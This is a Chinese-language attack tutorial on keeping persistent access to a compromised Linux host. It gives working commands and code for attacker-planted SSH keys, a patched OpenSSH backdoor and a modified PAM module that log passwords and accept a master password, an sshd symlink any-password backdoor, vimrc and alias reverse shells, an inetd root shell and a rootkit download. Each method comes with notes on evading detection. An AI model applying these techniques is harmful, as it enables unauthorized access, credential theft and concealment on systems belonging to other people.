背景

在拿到一台主机(Linux)的普通权限,或最高权限(uid=0),则要开始进行后渗透阶段,如果当Session断掉之后,能够迅速上线该主机,那么就需要维持该Session的权限了

计划任务(Crontab)

Linux 中同步计划任务有如下:

  • 系统级别的计划任务
    • /etc/crontab
    • /etc/cron.*/
  • 用户级别的计划任务
    • /var/spool/corn/*

相对应的语法如下所示(这里以系统级别的计划任务举例)

  1. minute hour day month day of week user-name command to be executed

image.png
image.png

优点 缺点
无需编译,配置简单 易排查,设备上容易产生告警

Authorized key 持久化

攻击者在本地生成公私钥对

  1. # 输入以下命令会在~/.ssh/目录下创建两个文件,分别是id_rsa,id_rsa.pub
  2. ssh-keygen -b 4096 -t rsa

在受害机已经获取权限的用户目录下执行

  1. vi ~/.ssh/authorized_keys
  2. # 将刚刚生成的id_rsa.pub内容粘贴到authorized_keys文件中,如果该文件原来存在内容,就另起一行
  3. chmod 600 ~/.ssh/authorized_keys
  4. chmod 700 ~/.ssh

image.png
使用自己的私钥登录该系统
image.png
如果只有一对公私钥可以不用指定私钥,ssh客户端在登录的时候会寻找/.ssh/id_rsa
image.png

优点 缺点
利用简单,攻击行为接近正常登录,一般不会触发告警 容易排查

Open SSH 后门

  1. # 下载openssh-5.9p1.tar.gz openssh-5.9p1.patch.tar.gz
  2. tar zxf openssh-5.9p1.tar.gz
  3. tar zxf openssh-5.9p1.patch.tar.gz
  4. cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
  5. patch < sshbd5.9p1.diff
  6. # 修改version.h 为ssh -V 的版本
  7. # vim version.h
  8. ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
  9. make
  10. # 这里需要注意,编译缺少的环境需要安装,在centos上比Debian简单
  11. make install

修改include.h,默认将ssh登录该服务器的密码存储在/tmp/ilog 和 该服务器登录远程服务器的明文密码存储在/tmp/olog,SECRETPW 为
image.png
在受害机ssh登录服务器
image.png
image.png
image.png
使用apaajaboleh登录
image.png

优点 缺点
隐蔽性较强,攻击行为接近正常登录,不易触发其他告警。 需要编译环境,缺少GCC或其他依赖包容易出现问题,相对容易排查

SSH PAM 后门

PAM 是 Linux 默认的 SSH 认证登录机制,可以通过修改源码实现万能密码,记录登录密码等功能

  1. # 首先查看PAM版本,需要有gcc编译环境
  2. rpm -qa | grep pam
  3. tar zxvf Linux-PAM-1.1.8.tar.gz
  4. cd Linux-PAM-1.1.8
  5. # 修改源码
  6. vim modules/pam_unix/pam_unix_auth.c
  7. # 添加代码
  8. if(strcmp("PAM",p)==0){return PAM_SUCCESS;}
  9. if(retval == PAM_SUCCESS){
  10. FILE * fp;
  11. fp = fopen("/tmp/.sshlog", "a");
  12. fprintf(fp, "%s : %s\n", name, p);
  13. fclose(fp);
  14. }
  15. # 预编译
  16. ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
  17. # 编译,编译前可能会报错需要安装flex 和 flex-devel
  18. yum install flex flex-devel -y
  19. make

image.png
image.png
预编译
image.png
编译
image.png

  1. # 编译完成之后,动态链接库在Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
  2. # 查找系统原so文件默认存储在/usr/lib64/security/pam_unix.so
  3. find / -name pam_unix.so
  4. # 备份原pam文件和替换恶意pam文件
  5. mv /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bak
  6. mv /home/aaron/Desktop/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

使用正常密码登录,可以在/tmp/.sshlog文件找到登录密码,使用我们留的密码(PAM)登录也可以
image.png

优点 缺点
攻击行为接近正常登录,不会触发其他告警 容易排查,需要编译环境

SSH 软连接 后门

  1. # 通过软连接建立一个ssh后门
  2. ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

原理:

  1. Linux软连接ssh后门,通过PAM认证方式登录
  2. 将sshd文件软连接名称设置为su ,实质上PAM认证是通过软连接的文件名(如:/usr/local/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
  3. 任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可 SSH任意密码登陆

建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登录如下:
使用root/任意密码即可登录成功
image.png

优点 缺点
攻击行为接近正常登录,不会触发其他告警 容易被排查

Vim 后门

修改/etc/vimrc 或者/etc/.vimrc,每次启动vim 执行恶意脚本,vim 支持python,构建python 反弹shell

  1. vim /etc/vimrc

image.png
image.png
image.png
image.png

优点 缺点
利用简单 持久化效果一般,易暴露

alias 后门

alias 是Linux的命令的别名,存储在~/.bashrc(这里只讨论bash shell)中,修改之后再使用命令,当再使用ls时,就会反弹shell

  1. source ~/.bashrc

image.png

优点 缺点
利用简单 容易被发现,持久化效果一般

inetd 后门

通俗来讲就是一个监听外部网络请求 [就是一个socket] 的系统守护进程,其实有很多比较古老的服务都是基于此守护进程

  1. # 安装inetd
  2. apt install openbsd-inetd
  3. # 可以直接用service中定义好的服务,只需要把实际的处理程序替换下即可
  4. vim /etc/services
  5. fido 60179/tcp # fidonet EMSI over TCP
  6. # 配置inetd.conf 并启动inetd
  7. vim /etc/inetd.conf
  8. fido stream tcp nowait root /bin/bash -i # 当外部请求为fido的服务时,就反弹一个交互式的shell
  9. systemctl restart inetd
  10. nc -vv [host] [port]

image.png
image.png

优点 缺点
利用简单 有反连shell告警

mafix 后门

下载地址:https://github.com/yzimhao/godpock/tree/master/Rootkit

  1. tar zxvf mafix.tar.gz
  2. cd mafix.tar.gz
  3. ./root 密码 端口
  4. # 攻击机 使用如下命令
  5. # centos 7 还支持ssh1,windows,Debian、Ubuntu ssh客户端不支持ssh1
  6. ssh -1 root@xxx.xxx.xxx.xxx -p port

image.png
image.png

优点 缺点
无需编译,配置简单 会替换ls等命令,容易被识破
环境依赖较高,在Ubuntu,centos上测试不通过,Ubuntu缺少依赖,centos会死机,在Debian上顺利通过